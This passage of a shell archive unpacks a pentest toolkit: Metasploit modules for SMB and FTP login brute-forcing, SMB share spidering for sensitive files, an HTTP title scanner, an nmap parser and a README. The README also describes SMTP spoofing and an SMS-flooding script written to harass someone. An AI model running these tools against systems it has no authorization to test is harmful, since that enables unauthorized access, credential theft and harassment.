simple.disconnect("\\\\#{datastore['RHOST']}\\admin$") X rescue X status_code = :not_admin X ensure X begin X simple.connect("\\\\#{datastore['RHOST']}\\IPC$") X rescue ::Rex::Proto::SMB::Exceptions::NoReply X end X end X end X X rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e X status_code = e.get_error(e.error_code) X rescue ::Rex::Proto::SMB::Exceptions::LoginError => e X status_code = e.error_reason X rescue ::Rex::Proto::SMB::Exceptions::InvalidWordCount => e X status_code = e.get_error(e.error_code) X rescue ::Rex::Proto::SMB::Exceptions::NoReply X ensure X disconnect() X end X X return status_code X end X X # If login is succesful and auth_user is unset X # the login was as a guest user. X def accepts_guest_logins?(domain) X guest = false X user = Rex::Text.rand_text_alpha(8) X pass = Rex::Text.rand_text_alpha(8) X X guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?) X X if guest_login X @accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost) X report_note( X :host => rhost, X :proto => 'tcp', X :sname => 'smb', X :port => datastore['RPORT'], X :type => 'smb.account.info', X :data => 'accepts guest login from any account', X :update => :unique_data X ) X end X X return guest_login X end X X # If login is successul and auth_user is set X # then bogus creds are accepted. X def accepts_bogus_logins?(domain) X user = Rex::Text.rand_text_alpha(8) X pass = Rex::Text.rand_text_alpha(8) X bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?) X return bogus_login X end X X # This logic is not universal ie a local account will not care about workgroup X # but remote domain authentication will so check each instance X def accepts_bogus_domains?(user, pass, rhost) X domain = Rex::Text.rand_text_alpha(8) X status = check_login_status(domain, user, pass) X X bogus_domain = valid_credentials?(status) X if bogus_domain X vprint_status "Domain is ignored" X end X X return valid_credentials?(status) X end X X def valid_credentials?(status) X X case status X when 'STATUS_SUCCESS', :admin_access, :not_admin X return true X when *@correct_credentials_status_codes X return true X else X return false X end X X end X X def try_user_pass(domain, user, pass) X # Note that unless PRESERVE_DOMAINS is true, we're more X # than happy to pass illegal usernames that contain X # slashes. X if datastore["PRESERVE_DOMAINS"] X d,u = domain_username_split(user) X user = u X domain = d if d X end X X user = user.to_s.gsub(/<BLANK>/i,"") X status = check_login_status(domain, user, pass) X X # Match original output message X if domain.empty? || domain == "." X domain_part = "" X else X domain_part = " \\\\#{domain}" X end X output_message = "#{rhost}:#{rport}#{domain_part} - ".gsub('%', '%%') X output_message << "%s" X output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%') X X case status X when 'STATUS_SUCCESS', :admin_access, :not_admin X # Auth user indicates if the login was as a guest or not X if(simple.client.auth_user) X print_good(output_message % "SUCCESSFUL LOGIN") X validuser_case_sensitive?(domain, user, pass) X report_creds(domain,user,pass,true) X else X if datastore['RECORD_GUEST'] X print_status(output_message % "GUEST LOGIN") X report_creds(domain,user,pass,true) X elsif datastore['VERBOSE'] X print_status(output_message % "GUEST LOGIN") X end X end X X return :next_user X X when *@correct_credentials_status_codes X print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" ) X report_creds(domain,user,pass,false) X validuser_case_sensitive?(domain, user, pass) X return :skip_user X X when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' X vprint_error(output_message % "FAILED LOGIN") X else X vprint_error(output_message % "FAILED LOGIN") X end X end X X def validuser_case_sensitive?(domain, user, pass) X if user == user.downcase X user = user.upcase X else X user = user.downcase X end X X status = check_login_status(domain, user, pass) X case_insensitive = valid_credentials?(status) X if case_insensitive X vprint_status("Username is case insensitive") X end X X return case_insensitive X end X X def note_creds(domain,user,pass,reason) X report_note( X :host => rhost, X :proto => 'tcp', X :sname => 'smb', X :port => datastore['RPORT'], X :type => 'smb.account.info', X :data => {:user => user, :pass => pass, :status => reason}, X :update => :unique_data X ) X end X X def report_creds(domain,user,pass,active) X login_name = "" X X if accepts_bogus_domains?(user,pass,rhost) || domain.blank? X login_name = user X else X login_name = "#{domain}\\#{user}" X end X X report_hash = { X :host => rhost, X :port => datastore['RPORT'], X :sname => 'smb', X :user => login_name, X :pass => pass, X :source_type => "user_supplied", X :active => active X } X X if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ X report_hash.merge!({:type => 'smb_hash'}) X else X report_hash.merge!({:type => 'password'}) X end X report_auth_info(report_hash) X end Xend b1e7c048d459d02c8bb6c77a5c805eb4 echo x - ismtp/work/ipwn-32bbc05/msf-mods/http_title.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/msf-mods/http_title.rb << 'cad0594ac9eb812de394f4eca575e84b' X## X# This module requires Metasploit: http//metasploit.com/download X# Current source: https://github.com/rapid7/metasploit-framework X## X Xrequire 'rex/proto/http' Xrequire 'msf/core' X X Xclass Metasploit3 < Msf::Auxiliary X X # Exploit mixins should be called first X include Msf::Exploit::Remote::HttpClient X include Msf::Auxiliary::WmapScanServer X # Scanner mixin should be near last X include Msf::Auxiliary::Scanner X X def initialize X super( X 'Name' => 'HTTP Title Parser', X 'Description' => %q{Reports back web page titles. Very useful for when X you have numerous web servers to inspect and need to figure out what's X running on them. Other methods exist, such as taking screenshots, but X they may potentially be a slower process.}, X 'Author' => 'Alton Johnson alton.jx[at]gmail.com', X 'License' => MSF_LICENSE X ) X X register_options([ X OptInt.new('ReadBytes', [false, "Specify # of bytes to parse. 0 to parse entire pages.", 0]), X OptString.new('URI_Path', [true, "Specify the URI path that should be followed on targets.", "/"]), X OptBool.new('Follow_Redirects', [false, "Attempts to follow redirects.", true]), X OptBool.new('SSL', [false, "Negotiate SSL connection", false]) X ], self.class) X X register_wmap_options({ X 'OrderID' => 0, X 'Require' => {}, X }) X end X X def run_host(ip, uri=datastore['URI_Path']) X begin X connect X X opts = {'uri' => uri, X 'method' => 'GET', X 'SSL' => datastore['SSL'] X } X X res = send_request_cgi(opts) X return if not res X X if datastore['ReadBytes'] == 0 X body = res.body.to_s X else X body = res.body.to_s[0..datastore['ReadBytes']] X end X X return if res.body.length == 0 X # Parse web page response. X if (res.code >= 300 and res.code < 400) X print_title(ip, rport, body, res.code, 0, res.headers['Location']) X # print_error("#{ip}:#{rport} - #{res.code} - <Redirect>") X elsif res.code >= 200 and res.code < 300 X print_title(ip, rport, body, res.code, 0, res.headers['Location']) X elsif res.code >= 300 and res.code < 400 X print_title(ip, rport, body, res.code) X elsif res.code >= 400 and res.code < 500 X print_title(ip, rport, body, res.code) X elsif res.code >= 500 and res.code < 600 X print_title(ip, rport, body, res.code) X end X X disconnect X rescue ::Timeout::Error, ::Errno::EPIPE X end X end X X def print_title(ip, rport, response, code, status=0, header="") X # A little redirect handling. X if datastore['Follow_Redirects'] X if header.to_s.include? "(http://|https://)" X print_error("#{ip}:#{rport} - #{code} - <302 HTTPS/HTTP redirect>") X return X else X if code == 302 X new_uri = header X run_host(ip, new_uri) X return X end X end X unless response.downcase.include? "<title>" and response.downcase.include? "" X if response.include? "location.replace(\"" X if response.include? "https:" X print_error("#{ip}:#{rport} - #{code} - ") X return X end X new_uri = response.to_s.scan(/replace\(\"(.*?)\"/im)[0][0].to_s X run_host(ip, new_uri) X return X end X end X end X X # Stripping title from response body. X title = response.to_s.scan(/]*>(.*?)<\/title>/im) X if title.kind_of?(Array) X title = title[0][0] if title.length > 0 X else X title = title[-1].to_s[2..-3] X end X begin X title = title.strip X rescue X end X title = title.inspect.to_s.gsub(/(\\x)+(..)/, "")[1..-2] X X if code == 302 X status = 1 X title = "<302 HTTPS/HTTP Redirect>" X end X X # Printing out the title. X if title.to_s.length == 0 X print_error("#{ip}:#{rport} - #{code} - ") X else X if status == 0 X print_good("#{ip}:#{rport} - #{code} - #{title}") X else X title = title.gsub("#{code} - ", "") X print_error("#{ip}:#{rport} - #{code} - #{title}") X end X end X end X end cad0594ac9eb812de394f4eca575e84b echo x - ismtp/work/ipwn-32bbc05/msf-mods/smb_spider.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/msf-mods/smb_spider.rb << '43aaf502b72e044f9778dba27d6377d0' X# This module requires Metasploit: http//metasploit.com/download X# Current source: https://github.com/rapid7/metasploit-framework X Xrequire 'msf/core' X Xclass Metasploit3 < Msf::Auxiliary X X include Msf::Exploit::Remote::SMB::Psexec X include Msf::Auxiliary::Scanner X include Msf::Auxiliary::Report X X SIMPLE = Rex::Proto::SMB::Client X XCEPT = Rex::Proto::SMB::Exceptions X CONST = Rex::Proto::SMB::Constants X X def initialize (info = {}) X super(update_info(info, X 'Name' => 'SMB/NFS Share Spidering Utility', X 'Description' => %q{This module spiders SMB/NFS shares X and can be extremely useful for identifying sensitive files X in shares. X }, X 'Author' => X [ X 'Alton Johnson ', X ], X 'License' => MSF_LICENSE, X 'References' => [ X ['URL','https://github.com/altjx/ipwn/blob/master/smb_spider.md'] X ] X )) X X register_options([ X OptString.new('SMBShare', [false, 'The name of a readable share on the server', '']), X OptString.new('SMBUser', [false, 'The username to authenticate as']), X OptString.new('SMBPass', [false, 'The password for the specified user']), X OptInt.new('MaxDepth', [false, 'Max subdirectories to spider', 999]), # thanks Royce Davis for suggestion X OptString.new('RootDir', [false, 'Root directory within share to spider','/']), X OptPath.new('ShareFile', [false, 'Import list of \\\\IP\\Share formatted lines']), X OptString.new('Verbose', [true, 'Display verbose information', true]), X OptString.new('LogResults', [false, 'Outputs spider results to smbspider/ip_share.txt.', false]) X ], self.class) X X end X X def run_host(ip) X @root_dir = datastore['RootDir'] X @sub_dirs = [] X @true_share = "" X if connect X begin X smb_login X rescue Rex::Proto::SMB::Exceptions::Error => autherror X print_error("#{ip} - #{autherror}") X end X end X begin X if datastore['ShareFile'].to_s.length != 0 X spider_list_of_shares(ip) X elsif datastore['SMBShare'].downcase == "" X spider_profile(ip) X elsif datastore['SMBShare'].length > 0 X spider_share(ip, datastore['SMBShare']) X else X print_error("#{ip} - No share or input file provided.") X end X rescue Rex::Proto::SMB::Exceptions::Error => e X unless "#{e}".include? "responded with error" X print_error("#{ip} - #{ip}: #{e}") X end X end X end X X def db_note(ip, share) X report_note( X :host => ip, X :name => 'smb', X :port => 445, X :proto => 'tcp', X :type => 'smb.spider', X :data => "Spidering system: #{ip}\\#{share}", X :update => :unique_data X ) X end X X def spider_list_of_shares(ip) X print_status("Attempting to spider shares from: #{ip}") X list_of_shares = [] X if File.exists? datastore['ShareFile'] X shares = ::File.open(datastore['ShareFile'], 'rb').read.split("\n") X shares.each do |share| X if share.include? ip X share = share.tr(ip, '').gsub("\\","").gsub("/","") X list_of_shares.push(share) X end X end X list_of_shares.each do |unique_share| X self.simple.connect("\\\\#{ip}\\#{unique_share}") X @true_share = unique_share X start_spider("", ip, unique_share) X db_note(ip, unique_share) X while @sub_dirs.length != 0 X start_spider(@sub_dirs[0], ip, unique_share) X @sub_dirs.shift X end X end X else X print_error("File specified in ShareFile doesn't exist.") X end X end X X def spider_share(ip, share) X @true_share = share X print_status("Attempting to spider target share: \\\\#{ip}\\#{share}") X self.simple.connect("\\\\#{ip}\\#{share}") X X # clean rootdir to avoid issues complying with user preferences X if @root_dir == "." or @root_dir == "\\" or @root_dir == "/" X @root_dir = "" X end X if @root_dir.length >= 1 X if @root_dir[0] != "\\" X @root_dir = "\\#{@root_dir}" X end X @root_dir.chomp!("\\") X end X X db_note(ip, share) X start_spider(@root_dir, ip, share) X while @sub_dirs.length != 0 X begin X start_spider(@sub_dirs[0], ip, share) X @sub_dirs.shift X rescue Rex::Proto::SMB::Exceptions::Error => e X unless e.to_s.include? "STATUS_OBJECT_PATH_NOT_FOUND" X print_error("#{e}") X end X @sub_dirs.shift X next X end X end X print_status("Completed spidering target share: \\\\#{ip}\\#{share}") X end X X def spider_profile(ip) X users = [] X profile_dirs = [] X db_note(ip, "profiles") X @true_share = "profile" X print_status("Attempting to spider target: \\\\#{ip}\\") X self.simple.connect("\\\\#{ip}\\C$") X listing = self.simple.client.find_first("\\*") X X if listing.include?("Documents and Settings") X userdir = "Documents and Settings" X profile_dirs= ["Documents","My Documents","Desktop"] # default dirs for < Vista X else X userdir = "Users" X profile_dirs = ["Documents","Desktop","Music", X "Videos","Downloads","Pictures"] # default dirs for => Vista X end X X # parse out usernames from directory, and add to users array X listing = self.simple.client.find_first("\\#{userdir}\\*") X listing.shift; listing.shift # remove "." and ".." from directory listing X listing.each do |username,trash| X users.push(username) X end X X # spider user profiles X users.each do |user| X profile_dirs.each do |profile| # go through each profile dir for each user X X # to avoid quitting entire loop on nonexistent profile path, begin/rescue exists here X begin X @root_dir = "\\#{userdir}\\#{user}\\#{profile}" X start_spider("\\#{userdir}\\#{user}\\#{profile}", ip, "C$") X rescue Rex::Proto::SMB::Exceptions::Error => e X unless e.to_s.include? "STATUS_OBJECT_NAME_NOT_FOUND" X print_error("#{ip} - #{e}") X end X next X end X X while @sub_dirs.length != 0 X start_spider(@sub_dirs[0], ip, "C$") X @sub_dirs.shift X end X end X end X print_status("Completed spidering target: \\\\#{ip}\\") X end X X def output(data, ip) X vprint_good(data) X if datastore['LogResults'].to_s.downcase != "false" X unless File.directory?("smbspider") X Dir.mkdir("smbspider") X end X file = ::File.open("smbspider/smbspider_#{ip}_#{@true_share}.txt", 'ab') X file.write(data + "\n") X file.close() X end X end X X def start_spider(base_dir="", ip, share) X listing = self.simple.client.find_first(base_dir + "\\*") X listing.shift; listing.shift X X listing.each_pair do |key,val| X dirslash = "" X if val['type'] == "D" X dirslash = "\\" X dir = "#{share}#{base_dir}" X unless dir.scan(/\\/).count-@root_dir.scan(/\\/).count >= datastore['MaxDepth'].to_i X @sub_dirs.push("#{base_dir}\\#{key}") X end X end X output("\\\\#{ip}\\#{share}#{base_dir}\\#{key}#{dirslash}".sub("\\\\\\","\\\\"), ip) X end X end Xend 43aaf502b72e044f9778dba27d6377d0 echo x - ismtp/work/ipwn-32bbc05/msf-mods/ftp_enum.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/msf-mods/ftp_enum.rb << 'd31389a0e09e51d6aa817147c9b38455' X## X# This module requires Metasploit: http//metasploit.com/download X# Current source: https://github.com/rapid7/metasploit-framework X## X Xrequire 'msf/core' Xrequire 'metasploit/framework/credential_collection' Xrequire 'metasploit/framework/login_scanner/ftp' X Xclass Metasploit3 < Msf::Auxiliary X X include Msf::Exploit::Remote::Ftp X include Msf::Auxiliary::Scanner X include Msf::Auxiliary::Report X include Msf::Auxiliary::AuthBrute X X def proto X 'ftp' X end X X def initialize X super( X 'Name' => 'FTP Authentication Scanner', X 'Description' => %q{ X This module will test FTP logins on a range of machines and X report successful logins. If you have loaded a database plugin X and connected to a database this module will record successful X logins and hosts so you can track your access. X }, X 'Author' => 'todb', X 'References' => X [ X [ 'CVE', '1999-0502'] # Weak password X ], X 'License' => MSF_LICENSE X ) X X register_options( X [ X Opt::RPORT(21), X OptBool.new('ENUM_FILES', [false,'Enumerate files from the FTP server', false]), X OptInt.new('ENUM_DEPTH', [false,'Controls how many subdirectories to enumerate', 2]), X OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false]) X ], self.class) X X register_advanced_options( X [ X OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false]) X ] X ) X X deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password' X @accepts_all_logins = {} X end X X X def run_host(ip) X print_status("#{ip}:#{rport} - Starting FTP login sweep") X X cred_collection = Metasploit::Framework::CredentialCollection.new( X blank_passwords: datastore['BLANK_PASSWORDS'], X pass_file: datastore['PASS_FILE'], X password: datastore['PASSWORD'], X user_file: datastore['USER_FILE'], X userpass_file: datastore['USERPASS_FILE'], X username: datastore['USERNAME'], X user_as_pass: datastore['USER_AS_PASS'], X prepended_creds: anonymous_creds X ) X X scanner = Metasploit::Framework::LoginScanner::FTP.new( X host: ip, X port: rport, X proxies: datastore['PROXIES'], X cred_details: cred_collection, X stop_on_success: datastore['STOP_ON_SUCCESS'], X connection_timeout: 30 X ) X X service_data = { X address: ip, X port: rport, X service_name: 'ftp', X protocol: 'tcp', X workspace_id: myworkspace_id X } X X scanner.scan! do |result| X if result.success? X X credential_data = { X module_fullname: self.fullname, X origin_type: :service, X private_data: result.credential.private, X private_type: :password, X username: result.credential.public X } X credential_data.merge!(service_data) X X credential_core = create_credential(credential_data) X X login_data = { X access_level: test_ftp_access(result.credential.public, scanner), X core: credential_core, X last_attempted_at: DateTime.now, X status: Metasploit::Model::Login::Status::SUCCESSFUL X } X login_data.merge!(service_data) X X create_credential_login(login_data) X print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" X X if datastore['ENUM_FILES'] X enumerate_files(ip, scanner) X end X X else X invalidate_login( X address: ip, X port: rport, X protocol: 'tcp', X public: result.credential.public, X private: result.credential.private, X realm_key: nil, X realm_value: nil, X status: result.status) X print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" X end X end X X end X X def enumerate_files(ip, scanner) X print_status("#{ip}:#{rport} - Enumerating files") X X subdirectories = [''] X while subdirectories.length > 0 X cwd = scanner.send_cmd_data(['CWD',subdirectories[0]], true) X pwd = scanner.send_cmd_data(['PWD'], true).scan(/"([^"]*)"/)[0][0] X if pwd.length == 1 X depth = 0 X elsif pwd.length > 1 and pwd.scan(/\//).length == 1 X depth = 1 X else X depth = pwd.scan(/\//).length X end X if depth > datastore['ENUM_DEPTH'] X return X else X response = scanner.send_cmd_data(['LS'], true) X return if response == nil X directories = list_directories(response) X unless directories.empty? X directories.each do |directory| X newdir = "#{subdirectories[0]}/#{directory}" X subdirectories.push("#{newdir}") unless directory == "." or directory == ".." X end X end X files = list_files(response) X unless files.empty? X print_good("#{ip}:#{rport} - ftp://#{ip}#{subdirectories[0].gsub("//","/")}/") X if subdirectories[0].length == 0 X puts "=" * 43 X else X puts "=" * (43 + subdirectories[0].length) X end X files.each do |file| X puts "#{file}" X end X puts X end X subdirectories.shift X end X end X end X X def list_directories(response) X directories = [] X if response[1].nil? X return directories X else X puts response X response[1].split("\r\n").each do |resp| X # if its a directory store it in array X if resp[0] == "d" or resp.include? "" X # considers whatever is after the current time (12:12) as directories X directories << resp[resp.index(/[0-9][0-9]:[0-9][0-9]/)+6..-1] if resp[0] == "d" X directories << resp[39..-1] X end X end X return directories X end X end X X def list_files(response) X files = [] X if response[1].nil? X return files X else X response[1].split("\r\n").each do |resp| X # if its a file store it in array X files << resp X end X return files X end X end X X # Always check for anonymous access by pretending to be a browser. X def anonymous_creds X anon_creds = [ ] X if datastore['RECORD_GUEST'] X ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| X anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) X end X end X anon_creds X end X X def test_ftp_access(user,scanner) X dir = Rex::Text.rand_text_alpha(8) X write_check = scanner.send_cmd(['MKD', dir], true) X if write_check and write_check =~ /^2/ X scanner.send_cmd(['RMD',dir], true) X print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access") X return 'Read/Write' X else X print_status("#{rhost}:#{rport} - User '#{user}' has READ access") X return 'Read-only' X end X end Xend d31389a0e09e51d6aa817147c9b38455 echo x - ismtp/work/ipwn-32bbc05/README.md sed 's/^X//' >ismtp/work/ipwn-32bbc05/README.md << 'b3da42ecb027ae5941afdb9877fc34f9' XIntroduction X=== XHere you will find some tools that I've created which may help you out on your next pentest. Nothing major as of yet, but there are a few cool things you might find to be pretty useful.

XUnfortunately, I wasn't able to capture screenshots of me using some of these tools in networks other than my home. However, I've tried to demonstrate how they're used via screenshots and videos as much as I can. X XTools X=== X
XiSMTP
X----------
XThere's been countless times when I've needed to test for SMTP user enumeration (RCPT TO and VRFY), internal spoofing, and open relay. I've never found a tool that tested for all three and with great flexibility. iSMTP does just that, making it much easier to knock that process out of the way.
X - Usage screenshot #1 (user enumeration): https://dl.dropboxusercontent.com/u/2526790/iSMTP/SMTP%20User%20Enumeration.png
XUsage menu: X

X ---------------------------------------------------------------------
X  SMTP v1.6 - SMTP Server Tester, Alton Johnson (alton.jx@gmail.com)
X ---------------------------------------------------------------------
X 
X Usage: ./iSMTP.py <OPTIONS>
X
X Required:
X
X   -f <import file>  Imports a list of SMTP servers for testing.
X                     (Cannot use with '-h'.)
X   -h <host>         The target IP and port (IP:port).
X                     (Cannot use with '-f'.)
X
X Spoofing:
X
X   -i <consultant email>   The consultant's email address.
X   -s <sndr email>         The sender's email address.
X   -r <rcpt email>         The recipient's email address.
X      --sr <email>         Specifies both the sender's and recipient's email address.
X   -S <sndr name>          The sender's first and last name.
X   -R <rcpt name>          The recipient's first and last name.
X      --SR <name>          Specifies both the sender's and recipient's first and last name.
X   -m                      Enables SMTP spoof testing.
X   -a                      Includes .txt attachment with spoofed email.
X
X SMTP enumeration:
X
X   -e <file>   Enable SMTP user enumeration testing and imports email list.
X   -l <1|2|3>  Specifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).
X               (Default is 3.) 
X
X SMTP relay:
X
X   -i <consultant email>   The consultant's email address.
X   -x                      Enables SMTP external relay testing.
X
X Misc:
X
X   -t <secs>   The timeout value. (Default is 10.)
X   -o          Creates "ismtp-results" directory and writes output to
X               ismtp-results/smtp_<service>_<ip>(port).txt
X
X Note: Any combination of options is supported (e.g., enumeration, relay, both, all, etc.).
X
X
XiWebAudit
X----------
XMany times, on an internal penetration test, you run across numerous web servers that you don't care about. As opposed to opening up every web server to see what they are, iWebAudit will scan a list of web servers and grab all their titles. By only reading a little bit from each server's response, this makes reporting only the titles much faster.
Usage menu: X

X------------------------------------------------------------------------------
X iWebAudit v1.5 - Web Page Title Analyzer, Alton Johnson (alton.jx@gmail.com)  
X------------------------------------------------------------------------------ 
X
X Usage: iWebAudit -f <file> -o <output file> -v -h -t 5
X
X   -f <file>   Supports list of IPs and/or http[s]:// formatted IPs.
X   -o <file>   Outputs the results to a file of your choice.
X   -h          Enables HTTP PUT Method Discovery. (optional)
X   -t <secs>   Sets default timeout. Default is 5. (optional)
X   -v 	       Displays details as script runs. (optional)
X
X
XpyFoca
X----------
XIf you're familiar with the Windows FOCA application, this is basically a python version of it. Pyfoca will use Google to discover files with extensions such as .pdf, .xls, .doc, etc. and download them. Once downloaded, it will extract all metadata which, in many cases, include usernames you can use for password attacks.
XUsage menu: X

X -------------------------------------------------------------------------------
X  pyfoca v1.6 - Document Metadata Extractor, Alton Johnson (alton.jx@gmail.com)
X -------------------------------------------------------------------------------
X
X Usage: ./pyfoca.py <OPTIONS>
X
X Domain options:
X
X    -d <domain>      Harvests all documents from a domain (saves to pyfoca-downloads/).
X				     Afterwards, extract metadata.
X
X Parse file/dir:
X
X    -f <file>     Extracts metadata specifically from one file. (Cannot use with '-d')
X    -w <dir>      Extracts metadata from files within specified directory. (Cannot use with '-d')
X
X Foca Export Parsing:
X
X    -r <directory>      Parses data exported from FOCA. Provide directory containing exported files.
X
X Misc:
X
X    -x                     After parsing metadata, delete files downloaded from the domain.
X    -e <pdf|doc|xls|all>   Search based on provided extension(s). Separate with comma. (Default is all.)
X    -p <number>            Searches x amount of google pages (per extension). (Default is 2.)
X    -t <secs>              Sets timeout value. (Default is 5.)
X    -v                     Prints status messages for files that are downloaded.
X
X Supported extensions are: .pdf, .doc, .docx, .xls, .xlsx, and .ppt
X Example: ./pyfoca.py -d www.domain.com -e pdf,doc -p 3
X
X
Xsmbspider
X----------
XSmbspider is a pretty smart when it comes to spidering Windows systems on internal networks. Once you get your hands on some credentials, you can pass them around with smbspider to try spidering systems that the user account has access to. In many cases, you'll end up quickly finding all types of sensitive data hanging out on employees' workstations.
X - Menu: https://dl.dropboxusercontent.com/u/2526790/smbspider/smbspiderpy.png
X - Script usage screenshot #1: https://dl.dropboxusercontent.com/u/2526790/smbspider/whole_output.png
X - Usage video: http://www.youtube.com/watch?v=skVZwynHECw
XUsage menu: X

X ************************************************************
X *                  _                                         *
X *                 | |       //  \\                           *
X *    ___ _ __ ___ | |__    _\\()//_                        *
X *   / __| '_ ` _ \| '_ \  / //  \\ \                       *
X *   \__ \ | | | | | |_) |   |\__/|                         *
X *   |___/_| |_| |_|_.__/                                   *
X *                                                          *
X * SMB Spider v2.4, Alton Johnson (alton.jx@gmail.com)      *
X ************************************************************
X
X Usage: /root/scripts/ipwn/smbspider.py 
X
X Target(s) (required): 
X
X   -h    Provide IP address or a text file containing IPs.
X       Supported formats: IP, smb://ip/share, \\ip\share\
X
X Credentials (required): 
X
X   -u    Specify a valid username to authenticate to the system(s).
X   -p    Specify the password which goes with the username.
X   -P    Use -P to provide password hash if cleartext password isn't known.
X   -d    If using a domain account, provide domain name.
X
X Shares (optional):
X
X   -s   Specify shares (separate by comma) or specify "profile" to spider user profiles.
X   -f    Specify a list of shares from a file.
X
X Other (optional):
X
X   -w      Avoid verbose output. Output successful spider results to smbspider_host_share_user.txt.
X       This option is HIGHLY recommended if numerous systems are being scanned.
X   -n      ** Ignore authentication check prior to spidering.
X   -g    Grab (download) files that match strings provided in text file. (Case sensitive.)
X       ** Examples: *assword.doc, *assw*.doc, pass*.xls, etc.
X
X
X
XSMSpam
X----------
XThis was my first python script. I created this simple script when someone pissed me off by continuously playing on my phone. They quickly revealed their identity after approximately 50 text messages in about 10 seconds :).
XUsage menu: X

X===================================================
X SMSpam v1.0 created by Alton (alton.jx@gmail.com)
X===================================================
X
X		-r: Recipient to send an email to.
X		-u: Gmail username (include @gmail.com).
X		-p: Password to login to gmail with.
X		-m: Message to send to user.
X		-s: Subject for the email.
X		-n: How many times you want to send this email.
X
XNmap Parser
X----------
XIf you have tons of nmap results and want to look at them in a pretty table, check out this nmap result parser.
X - Usage screenshot #2: https://dl.dropboxusercontent.com/u/2526790/nmap_parser1.png
XUsage menu: X

X ------------------------------------------------------------------------
X  nmapparse 1.0 - Nmap Output Parser, Alton Johnson (alton.jx@gmail.com)
X ------------------------------------------------------------------------
X 
X Usage: ./nmapparse.py results.gnmap
X
X Note: This script must point to a grepable output file from nmap to work properly.
X
X
XNmap Scrape
X----------
XThis script will take the nmap grepable output format and create text files (filename = port number) with a list of IP addresses in these text files. For example, it'll create an 80.txt file with all IPs with port 80 open. See screenshots for a better understanding.
X - Usage screenshot #2: https://dl.dropboxusercontent.com/u/2526790/nmapscrape1.png
XUsage menu: X

X ----------------------------------------------------
X Nmap Parser v1.0, Alton Johnson (alton.jx@gmail.com) 
X ----------------------------------------------------
X
X Usage: nmapscrape.py <gnmap file>
X
X
XJava Updater (for Kali Linux)
X----------
XEventually I just got tired of referring to Google and Kali's forums to update Java within Kali. Decided to just go ahead and play around with a script to do this automatically, and it came out well. Just run the script and Java's updated. Also makes sure it works with Google Chrome so you don't have to.
X
XExample of output for already up-to-date java version: X

Xroot@kali:# ./java-update.py
X
XUpdating Java.
X[*] Installed version: 7.51
X[*] Latest version: 7.51
X[*] Already up-to-date.
X[*] Checking if Google Chrome exists.
X[*] Java already configured to work with Google Chrome.
X
XExample of output for outdated java version: X

Xroot@kali:# ./java-update.py
X
XUpdating Java.
X[*] Installed version: 6.27
X[*] Latest version: 7.51
X[*] Old version detected. Performing Java update.
X[*] Downloading Java update: jdk-7u51-linux-i586.tar.gz [size: 132.98 MB]
X[*] Download complete.
X[*] Extracting archive.
X[*] Extraction complete.
X[*] Updating alternatives.
X[*] Alternatives updated.
X[*] Checking if Google Chrome exists.
X[*] Java already configured to work with Google Chrome.
X[*] Java update complete. Verify with java -version. 
X
Xroot@kali:# java -version
Xjava version "1.7.0_51"
XJava(TM) SE Runtime Environment (build 1.7.0_51-b13)
XJava HotSpot(TM) Client VM (build 24.51-b03, mixed mode)
X
b3da42ecb027ae5941afdb9877fc34f9 echo x - ismtp/work/ipwn-32bbc05/nmapscrape.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/nmapscrape.py << 'ae43848d19f979177caa5cb03277eb47' X#!/usr/bin/env python X# X# This script simply parses the scans/sS.gnmap and scans/sU.gnmap files X# and places any open ports into a text file with the respective IP address X# in it. So for example, you should end up with a scans directory X# containing files such as 80.txt, 443.txt, 53.tct, etc. X# These files will contain the IP addresses that have that port open. X# X# Author: Alton Johnson X# Contact: alton.jx@gmail.com X# Updated: 04-06-2013 X# X Ximport re,os Xfrom sys import argv X Xdef help(): X print "\n " + "-" * 52 X print " Nmap Parser v1.5, Alton Johnson (alton.jx@gmail.com) " X print " " + "-" * 52 X print "\n Usage: %s " % argv[0] X print X exit() X Xdef start(argv): X if len(argv) < 1: X help() X if not os.path.exists('open-ports'): X os.makedirs('open-ports') X X target_file = open(argv[-1]) X targett_file = target_file.read().split('\n') X X for line in targett_file: X ip_address = line[line.find(":")+2:line.find("(")-1] X pattern = '([0-9]+)/open/(tcp|udp)/' X find_pattern = re.findall(pattern, line) X X tcpwrapped_pattern = '([0-9]+)/open/tcp//tcpwrapped' X find_tcpwrapped = re.findall(tcpwrapped_pattern, line) X X if find_pattern: X for i in find_pattern: X if i in find_tcpwrapped: X continue X tcp_file = open('open-ports/%s.txt' % i[0],'a') X tcp_file.write("%s\n" % ip_address) X tcp_file.close() X target_file.close() X print "Done. Check the \"open-ports\" folder for results." X Xif __name__ == "__main__": X try: X start(argv[1:]) X except KeyboardInterrupt: X print "\nExiting. Closed by user (ctrl-c)." X except Exception, err: X print err ae43848d19f979177caa5cb03277eb47 echo x - ismtp/work/ipwn-32bbc05/mac-ifconfigs.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/mac-ifconfigs.rb << '74aa1c78498139b61f82d032a3c1f752' X#!/usr/bin/env ruby Xrequire 'terminal-table' Xrequire 'ipaddr' X Xifconfig = `ifconfig`.split("\n") X Xoint = '' Xint = '' Xomac = '' X X# Convert hexadecimal netmask to decimal. Xdef convert_netmask(mask) X first_octet = mask[0..1].to_i(16) X second_octet = 